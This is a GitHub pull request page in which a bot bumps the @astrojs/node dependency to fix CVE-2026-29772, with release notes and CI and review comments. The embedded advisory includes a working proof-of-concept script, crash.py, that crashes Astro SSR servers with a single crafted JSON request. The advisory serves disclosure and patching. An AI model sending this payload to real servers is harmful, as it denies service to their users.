Skip to content

chore(deps): update dependency @astrojs/node to v10 [security]#10333

Open
renovate[bot] wants to merge 1 commit intomainfrom
renovate/npm-astrojs-node-vulnerability
Open

chore(deps): update dependency @astrojs/node to v10 [security]#10333
renovate[bot] wants to merge 1 commit intomainfrom
renovate/npm-astrojs-node-vulnerability

Conversation

@renovate
Copy link
Contributor

@renovate renovate bot commented Mar 24, 2026

This PR contains the following updates:

Package Change Age Confidence
@astrojs/node (source) ^9.1.3^10.0.0 age confidence

Warning

Some dependencies could not be looked up. Check the Dependency Dashboard for more information.

GitHub Vulnerability Alerts

CVE-2026-29772

Summary

Astro's Server Islands POST handler buffers and parses the full request body as JSON without enforcing a size limit. Because JSON.parse() allocates a V8 heap object for every element in the input, a crafted payload of many small JSON objects achieves ~15x memory amplification (wire bytes to heap bytes), allowing a single unauthenticated request to exhaust the process heap and crash the server. The /_server-islands/[name] route is registered on all Astro SSR apps regardless of whether any component uses server:defer, and the body is parsed before the island name is validated, so any Astro SSR app with the Node standalone adapter is affected.

Details

Astro automatically registers a Server Islands route at /_server-islands/[name] on all SSR apps, regardless of whether any component uses server:defer. The POST handler in packages/astro/src/core/server-islands/endpoint.ts buffers the entire request body into memory and parses it as JSON with no size or depth limit:

// packages/astro/src/core/server-islands/endpoint.ts (lines 55-56)
const raw = await request.text();    // full body buffered into memory — no size limit
const data = JSON.parse(raw);        // parsed into V8 object graph — no element count limit

The request body is parsed before the island name is validated, so the attacker does not need to know any valid island name — /_server-islands/anything triggers the vulnerable code path. No authentication is required.

Additionally, JSON.parse() allocates a heap object for every array/object in the input, so a payload consisting of many empty JSON objects (e.g., [{},{},{},...]) achieves ~15x memory amplification (wire bytes to heap bytes). The entire object graph is held as a single live reference until parsing completes, preventing garbage collection. An 8.6 MB request is sufficient to crash a server with a 128 MB heap limit.

PoC

Environment: Astro 5.18.0, @astrojs/node 9.5.4, Node.js 22 with --max-old-space-size=128.

The app does not use server:defer — this is a minimal SSR setup with no server island components. The route is still registered and exploitable.

Setup files:

package.json:

{
  "name": "poc-server-islands-dos",
  "scripts": {
    "build": "astro build",
    "start": "node --max-old-space-size=128 dist/server/entry.mjs"
  },
  "dependencies": {
    "astro": "5.18.0",
    "@​astrojs/node": "9.5.4"
  }
}

astro.config.mjs:

import { defineConfig } from 'astro/config';
import node from '@​astrojs/node';

export default defineConfig({
  output: 'server',
  adapter: node({ mode: 'standalone' }),
});

src/pages/index.astro:

---
---
<html>
<head><title>Astro App</title></head>
<body>
  <h1>Hello</h1>
  <p>Just a plain SSR page. No server islands.</p>
</body>
</html>

Dockerfile:

FROM node:22-slim
WORKDIR /app
COPY package.json .
RUN npm install
COPY . .
RUN npm run build
EXPOSE 4321
CMD ["node", "--max-old-space-size=128", "dist/server/entry.mjs"]

docker-compose.yml:

services:
  astro:
    build: .
    ports:
      - "4321:4321"
    deploy:
      resources:
        limits:
          memory: 256m

Reproduction:

# Build and start
docker compose up -d

# Verify server is running
curl http://localhost:4321/

# => 200 OK

crash.py:

import requests

# Any path under /_server-islands/ works — no valid island name needed
TARGET = "http://localhost:4321/_server-islands/x"

# 3M empty objects: each {} is ~3 bytes JSON but ~56-80 bytes as V8 object

# 8.6 MB on wire → ~180+ MB heap allocation → exceeds 128 MB limit
n = 3_000_000
payload = '[' + ','.join(['{}'] * n) + ']'
print(f"Payload: {len(payload) / (1024*1024):.1f} MB")

try:
    r = requests.post(TARGET, data=payload,
        headers={"Content-Type": "application/json"}, timeout=30)
    print(f"Status: {r.status_code}")
except requests.exceptions.ConnectionError:
    print("Server crashed (OOM killed)")
$ python crash.py
Payload: 8.6 MB
Server crashed (OOM killed)

$ curl http://localhost:4321/
curl: (7) Failed to connect to localhost port 4321: Connection refused

$ docker compose ps
NAME      IMAGE     COMMAND   SERVICE   CREATED   STATUS    PORTS
(empty — container was OOM killed)

The server process is killed and does not recover. Repeated requests in a containerized environment with restart policies cause a persistent crash-restart loop.

Impact

Any Astro SSR app with the Node standalone adapter is affected — the /_server-islands/[name] route is registered by default regardless of whether any component uses server:defer. Unauthenticated attackers can crash the server process with a single crafted HTTP request under 9 MB. In containerized environments with memory limits, repeated requests cause a persistent crash-restart loop, denying service to all users. The attack requires no authentication and no knowledge of valid island names — any value in the [name] parameter works because the body is parsed before the name is validated.


Release Notes

withastro/astro (@​astrojs/node)

v10.0.0

Compare Source

Major Changes
  • #​15654 a32aee6 Thanks @​florian-lefebvre! - Removes the experimentalErrorPageHost option

    This option allowed fetching a prerendered error page from a different host than the server is currently running on.

    However, there can be security implications with prefetching from other hosts, and often more customization was required to do this safely. This has now been removed as a built-in option so that you can implement your own secure solution as needed and appropriate for your project via middleware.

What should I do?

If you were previously using this feature, you must remove the option from your adapter configuration as it no longer exists:

// astro.config.mjs
import { defineConfig } from 'astro/config'
import node from '@&#8203;astrojs/node'

export default defineConfig({
  adapter: node({
    mode: 'standalone',
-    experimentalErrorPageHost: 'http://localhost:4321'
  })
})

You can replicate the previous behavior by checking the response status in a middleware and fetching the prerendered page yourself:

// src/middleware.ts
import { defineMiddleware } from 'astro:middleware';

export const onRequest = defineMiddleware(async (ctx, next) => {
  const response = await next();
  if (response.status === 404 || response.status === 500) {
    return fetch(`http://localhost:4321/${response.status}.html`);
  }
  return response;
});
Minor Changes
  • #​15258 d339a18 Thanks @​ematipico! - Stabilizes the adapter feature experimentalStatiHeaders. If you were using this feature in any of the supported adapters, you'll need to change the name of the flag:

    export default defineConfig({
      adapter: netlify({
    -    experimentalStaticHeaders: true
    +    staticHeaders: true
      })
    })
  • #​15759 39ff2a5 Thanks @​matthewp! - Adds a new bodySizeLimit option to the @astrojs/node adapter

    You can now configure a maximum allowed request body size for your Node.js standalone server. The default limit is 1 GB. Set the value in bytes, or pass 0 to disable the limit entirely:

    import node from '@&#8203;astrojs/node';
    import { defineConfig } from 'astro/config';
    
    export default defineConfig({
      adapter: node({
        mode: 'standalone',
        bodySizeLimit: 1024 * 1024 * 100, // 100 MB
      }),
    });
  • #​15006 f361730 Thanks @​florian-lefebvre! - Adds new session driver object shape

    For greater flexibility and improved consistency with other Astro code, session drivers are now specified as an object:

    -import { defineConfig } from 'astro/config'
    +import { defineConfig, sessionDrivers } from 'astro/config'
    
    export default defineConfig({
      session: {
    -    driver: 'redis',
    -    options: {
    -      url: process.env.REDIS_URL
    -    },
    +    driver: sessionDrivers.redis({
    +      url: process.env.REDIS_URL
    +    }),
      }
    })

    Specifying the session driver as a string has been deprecated, but will continue to work until this feature is removed completely in a future major version. The object shape is the current recommended and documented way to configure a session driver.

  • #​14946 95c40f7 Thanks @​ematipico! - Removes the experimental.csp flag and replaces it with a new configuration option security.csp - (v6 upgrade guidance)

Patch Changes
  • #​15473 d653b86 Thanks @​matthewp! - Improves error page loading to read from disk first before falling back to configured host

  • #​15562 e14a51d Thanks @​florian-lefebvre! - Updates to new Adapter API introduced in v6

  • #​15585 98ea30c Thanks @​matthewp! - Add a default body size limit for server actions to prevent oversized requests from exhausting memory.

  • #​15777 02e24d9 Thanks @​matthewp! - Fixes CSRF origin check mismatch by passing the actual server listening port to createRequest, ensuring the constructed URL origin includes the correct port (e.g., http://localhost:4321 instead of http://localhost). Also restricts X-Forwarded-Proto to only be trusted when allowedDomains is configured.

  • #​15714 9a2c949 Thanks @​ematipico! - Fixes an issue where static headers weren't correctly applied when the website uses base.

  • #​15763 1567e8c Thanks @​matthewp! - Normalizes static file paths before evaluating dotfile access rules for improved consistency

  • #​15164 54dc11d Thanks @​HiDeoo! - Fixes an issue where the Node.js adapter could fail to serve a 404 page matching a pre-rendered dynamic route pattern.

  • #​15745 20b05c0 Thanks @​matthewp! - Hardens static file handler path resolution to ensure resolved paths stay within the client directory

  • #​15495 5b99e90 Thanks @​leekeh! - Refactors to use middlewareMode adapter feature (set to classic)

  • #​15657 cb625b6 Thanks @​qzio! - Adds a new security.actionBodySizeLimit option to configure the maximum size of Astro Actions request bodies.

    This lets you increase the default 1 MB limit when your actions need to accept larger payloads. For example, actions that handle file uploads or large JSON payloads can now opt in to a higher limit.

    If you do not set this option, Astro continues to enforce the 1 MB default to help prevent abuse.

    // astro.config.mjs
    export default defineConfig({
      security: {
        actionBodySizeLimit: 10 * 1024 * 1024, // set to 10 MB
      },
    });
  • Updated dependencies [4ebc1e3, 4e7f3e8, a164c77, cf6ea6b, a18d727, 240c317, 745e632]:

v9.5.5

Compare Source

Patch Changes

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot added the dependencies Pull requests that update a dependency file label Mar 24, 2026
@github-actions github-actions bot added the automated PR author detected as automated label Mar 24, 2026
@nx-cloud
Copy link

nx-cloud bot commented Mar 24, 2026

🤖 Nx Cloud AI Fix Eligible

An automatically generated fix could have helped fix failing tasks for this run, but Self-healing CI is disabled for this workspace. Visit workspace settings to enable it and get automatic fixes in future runs.

To disable these notifications, a workspace admin can disable them in workspace settings.


View your CI Pipeline Execution ↗ for commit 01461ea

Command Status Duration Result
nx affected --targets=test:sherif,test:knip,tes... ❌ Failed 4m 20s View ↗
nx run-many --target=build --exclude=examples/*... ✅ Succeeded 1s View ↗

☁️ Nx Cloud last updated this comment at 2026-03-24 21:36:15 UTC

@coderabbitai
Copy link
Contributor

coderabbitai bot commented Mar 24, 2026

📝 Walkthrough

Walkthrough

Updated the @astrojs/node dependency version in the Solid Astro example's package configuration file from ^9.1.3 to ^10.0.0.

Changes

Cohort / File(s) Summary
Dependency Version Bump
examples/solid/astro/package.json
Updated @astrojs/node from ^9.1.3 to ^10.0.0

Estimated code review effort

🎯 1 (Trivial) | ⏱️ ~2 minutes

Poem

A rabbit hops through version lands,
Where package.json makes demands,
From nine to ten, the numbers leap,
Node astro upgrades its keep,
Dependencies dance, one bump so sweet!

🚥 Pre-merge checks | ✅ 2 | ❌ 1

❌ Failed checks (1 warning)

Check name Status Explanation Resolution
Description check ⚠️ Warning The PR description is largely incomplete relative to the template; required sections like '🎯 Changes' and '✅ Checklist' are missing, and release impact is not clearly stated. Add the required template sections: '🎯 Changes' explaining the update rationale, '✅ Checklist' with completed items, and '🚀 Release Impact' indicating if a changeset is needed.
✅ Passed checks (2 passed)
Check name Status Explanation
Title check ✅ Passed The title accurately summarizes the main change: updating @astrojs/node to v10 and correctly flags it as security-related.
Docstring Coverage ✅ Passed No functions found in the changed files to evaluate docstring coverage. Skipping docstring coverage check.

✏️ Tip: You can configure your own custom pre-merge checks in the settings.

✨ Finishing Touches
🧪 Generate unit tests (beta)
  • Create PR with unit tests
  • Commit unit tests in branch renovate/npm-astrojs-node-vulnerability

Comment @coderabbitai help to get the list of available commands and usage tips.

@github-actions
Copy link
Contributor

🚀 Changeset Version Preview

No changeset entries found. Merging this PR will not cause a version bump for any packages.

Copy link
Contributor

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 1

🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.

Inline comments:
In `@examples/solid/astro/package.json`:
- Line 14: The dependency update is invalid because "@astrojs/node" v10 requires
Astro v6+, while this project uses "astro" v5.5.6; fix by either (A) upgrading
"astro" to a compatible v6+ release alongside "@astrojs/node" v10 and then run
the project build/tests and update any config changes (search for "astro" in
package.json and check "astro.config" for any required migrations), or (B)
revert "@astrojs/node" to a v9.x patch that addresses CVE-2026-29772 if
available (check npm/changelog for a patched v9), update package.json
accordingly, run npm install and verify the example builds; note that
astro.config does not use the removed experimentalErrorPageHost option so no
extra migration steps are required for that flag.

ℹ️ Review info
⚙️ Run configuration

Configuration used: defaults

Review profile: CHILL

Plan: Pro

Run ID: b4388bf3-cb8c-4129-b917-3c837bd9735d

📥 Commits

Reviewing files that changed from the base of the PR and between 1047cdc and 01461ea.

⛔ Files ignored due to path filters (1)
  • pnpm-lock.yaml is excluded by !**/pnpm-lock.yaml
📒 Files selected for processing (1)
  • examples/solid/astro/package.json

"dependencies": {
"@astrojs/check": "^0.9.4",
"@astrojs/node": "^9.1.3",
"@astrojs/node": "^10.0.0",
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🔴 Critical

🧩 Analysis chain

🏁 Script executed:

#!/bin/bash
# Description: Check Astro config for removed experimentalErrorPageHost option

# Search for experimentalErrorPageHost in Astro config files
fd -e mjs -e js -e ts --full-path 'astro\.config' --exec rg -n 'experimentalErrorPageHost'

# Also check if there's an adapter configuration that might need bodySizeLimit
fd -e mjs -e js -e ts --full-path 'astro\.config' --exec cat {}

Repository: TanStack/query

Length of output: 387


🌐 Web query:

Is @astrojs/node version 10 compatible with Astro version 5.5.6?

💡 Result:

No, @astrojs/node version 10 is not compatible with Astro version 5.5.6.

Citations:


@astrojs/node v10 is incompatible with Astro v5.5.6 — cannot upgrade without updating Astro.

The security update for CVE-2026-29772 is critical and must be applied. However, @astrojs/node v10 requires Astro v6 or higher, not v5.5.6. Upgrading only the adapter will break the example project.

The astro.config doesn't use the removed experimentalErrorPageHost option, so there are no deprecated features to migrate.

To proceed with the security fix, either:

  1. Upgrade astro to a compatible v6+ version alongside @astrojs/node v10
  2. Check if a v9.x patch is available for the CVE
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@examples/solid/astro/package.json` at line 14, The dependency update is
invalid because "@astrojs/node" v10 requires Astro v6+, while this project uses
"astro" v5.5.6; fix by either (A) upgrading "astro" to a compatible v6+ release
alongside "@astrojs/node" v10 and then run the project build/tests and update
any config changes (search for "astro" in package.json and check "astro.config"
for any required migrations), or (B) revert "@astrojs/node" to a v9.x patch that
addresses CVE-2026-29772 if available (check npm/changelog for a patched v9),
update package.json accordingly, run npm install and verify the example builds;
note that astro.config does not use the removed experimentalErrorPageHost option
so no extra migration steps are required for that flag.

@pkg-pr-new
Copy link

pkg-pr-new bot commented Mar 24, 2026

More templates

@tanstack/angular-query-experimental

npm i https://pkg.pr.new/@tanstack/angular-query-experimental@10333

@tanstack/eslint-plugin-query

npm i https://pkg.pr.new/@tanstack/eslint-plugin-query@10333

@tanstack/preact-query

npm i https://pkg.pr.new/@tanstack/preact-query@10333

@tanstack/preact-query-devtools

npm i https://pkg.pr.new/@tanstack/preact-query-devtools@10333

@tanstack/preact-query-persist-client

npm i https://pkg.pr.new/@tanstack/preact-query-persist-client@10333

@tanstack/query-async-storage-persister

npm i https://pkg.pr.new/@tanstack/query-async-storage-persister@10333

@tanstack/query-broadcast-client-experimental

npm i https://pkg.pr.new/@tanstack/query-broadcast-client-experimental@10333

@tanstack/query-core

npm i https://pkg.pr.new/@tanstack/query-core@10333

@tanstack/query-devtools

npm i https://pkg.pr.new/@tanstack/query-devtools@10333

@tanstack/query-persist-client-core

npm i https://pkg.pr.new/@tanstack/query-persist-client-core@10333

@tanstack/query-sync-storage-persister

npm i https://pkg.pr.new/@tanstack/query-sync-storage-persister@10333

@tanstack/react-query

npm i https://pkg.pr.new/@tanstack/react-query@10333

@tanstack/react-query-devtools

npm i https://pkg.pr.new/@tanstack/react-query-devtools@10333

@tanstack/react-query-next-experimental

npm i https://pkg.pr.new/@tanstack/react-query-next-experimental@10333

@tanstack/react-query-persist-client

npm i https://pkg.pr.new/@tanstack/react-query-persist-client@10333

@tanstack/solid-query

npm i https://pkg.pr.new/@tanstack/solid-query@10333

@tanstack/solid-query-devtools

npm i https://pkg.pr.new/@tanstack/solid-query-devtools@10333

@tanstack/solid-query-persist-client

npm i https://pkg.pr.new/@tanstack/solid-query-persist-client@10333

@tanstack/svelte-query

npm i https://pkg.pr.new/@tanstack/svelte-query@10333

@tanstack/svelte-query-devtools

npm i https://pkg.pr.new/@tanstack/svelte-query-devtools@10333

@tanstack/svelte-query-persist-client

npm i https://pkg.pr.new/@tanstack/svelte-query-persist-client@10333

@tanstack/vue-query

npm i https://pkg.pr.new/@tanstack/vue-query@10333

@tanstack/vue-query-devtools

npm i https://pkg.pr.new/@tanstack/vue-query-devtools@10333

commit: 01461ea

@github-actions
Copy link
Contributor

size-limit report 📦

Path Size
react full 11.98 KB (0%)
react minimal 9.01 KB (0%)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

automated PR author detected as automated dependencies Pull requests that update a dependency file

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants